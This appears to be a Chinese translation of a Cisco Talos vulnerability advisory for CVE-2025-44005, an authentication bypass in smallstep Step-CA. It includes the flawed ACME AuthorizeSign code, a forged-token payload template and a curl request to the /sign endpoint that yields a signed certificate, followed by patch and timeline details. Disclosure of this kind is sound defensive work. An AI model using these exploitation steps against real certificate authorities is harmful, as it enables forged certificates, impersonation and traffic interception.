Step-CA ACME/SCEP 配置器身份验证绕过漏洞解析

本文详细分析了Cisco Talos发现的小型证书颁发机构Step-CA中的一个高危漏洞(CVE-2025-44005)。攻击者可绕过授权检查,利用ACME或SCEP配置器签发任意证书,CVSS评分为10.0。文章涵盖了漏洞原理、利用步骤、修复版本及时间线。

TALOS-2025-2242 || 思科Talos情报集团 - 全面威胁情报

Talos漏洞报告

TALOS-2025-2242

smallstep Step-CA 证书签发身份验证绕过漏洞

2025年12月17日

CVE编号 CVE-2025-44005

概述 攻击者可以绕过授权检查,强制Step CA的ACME或SCEP配置器在不完成特定协议授权检查的情况下创建证书。

确认受影响的版本 以下版本已由Talos测试或验证,或由供应商确认为易受攻击。

  • smallstep Step-CA 0.28.4
  • smallstep Step-CA v0.28.3

产品网址 Step-CA - https://smallstep.com/docs/step-ca/index.html

CVSSv3 评分 10.0 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

CWE CWE-287 - 不正确的身份验证

详情 Smallstep的step-ca是一个开源、轻量级的证书颁发机构(CA),旨在简化用于安全身份验证和加密的数字证书管理。它提供了自动化签发和续订内部服务、设备和用户证书的工具。通过支持ACME、OIDC和SSH等现代协议,step-ca使得在云原生和DevOps环境中部署和管理证书变得容易。

Smallstep的step-ca平台为用户设置证书配置器时提供了多种选择。其中一种选择是设置使用ACME协议的配置器。此配置器旨在与另一组促进ACME协议流程的ACME API端点一起使用。

服务中还存在用于其他配置器的端点。这些端点根据所使用的配置器执行令牌授权。这些端点似乎并非设计用于处理ACME。当从ACME配置器请求新令牌时,会抛出一个错误,指示不支持令牌身份验证。

然而,由于指定了ACME配置器的令牌被非ACME端点所接受,导致存在一个漏洞。例如,/sign 端点使用配置器的 AuthorizeSign 方法来验证提供的令牌。以下是ACME的 AuthorizeSign 方法:

https://github.com/smallstep/certificates/blob/master/authority/provisioner/acme.go#L315

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
315 // AuthorizeSign 不进行任何验证,因为所有验证都在
316 // ACME协议中处理。此方法返回一个关于结果证书的
317 // 修改器/约束条件列表。
318 func (p *ACME) AuthorizeSign(context.Context, string) ([]SignOption, error) {
319     opts := []SignOption{
320         p,
321         // 修改器 / withOptions
322         newProvisionerExtensionOption(TypeACME, p.Name, "").WithControllerOptions(p.ctl),
323         newForceCNOption(p.ForceCN),
324         profileDefaultDuration(p.ctl.Claimer.DefaultTLSCertDuration()),
325         // 验证器
326         defaultPublicKeyValidator{},
327         newValidityValidator(p.ctl.Claimer.MinTLSCertDuration(), p.ctl.Claimer.MaxTLSCertDuration()),
328         newX509NamePolicyValidator(p.ctl.getPolicy().getX509()),
329         p.ctl.newWebhookController(nil, linkedca.Webhook_X509),
330     }
331 
332     return opts, nil
333 }

上述方法不对提供的令牌执行任何验证。这意味着任何将配置器标识为ACME配置器的令牌都将被视为有效。

攻击者可以轻松创建一个满足这些要求的令牌,并且能够使用用户step-ca服务中设置的CA对任何CSR进行签名。

要利用此漏洞,攻击者需要:

  1. 创建一个新的CSR。
  2. 通过使用任意密钥对以下有效载荷进行签名来创建一个令牌:
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    
    {
         "aud": "acme/{ACME配置器名称}",
         "exp": {时间戳},
         "iat": {时间戳},
         "iss": "{任意值}",
         "jti": "{任意值}",
         "nbf": {时间戳},
         "sans": [
             "{任意值}"
         ],
         "sha": "{任意值}",
         "sub": "{任意值}",
         "user": {}
    }
    
  3. $ curl -k https://{step-ca-url}/sign -d "{\"csr\":\"$CSR\",\"ott\":\"$TOKEN\"}"
    1
    2
    3
    4
    
    {
         "crt": "-----BEGIN CERTIFICATE-----\n..."
         ...
    }
    

供应商响应 在v0.29.0版本中,ACME和SCEP配置器已更新,以阻止提供令牌的请求。 如果无法升级到v0.29.0或更高版本,可以通过阻止对/sign端点的访问来缓解此攻击。

时间线

  • 2025年9月29日 - 首次联系供应商
  • 2025年9月30日 - 向供应商披露
  • 2025年12月2日 - 供应商发布补丁
  • 2025年12月17日 - 公开发布

致谢 思科高级安全计划组(ASIG)的Stephen Kubik

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计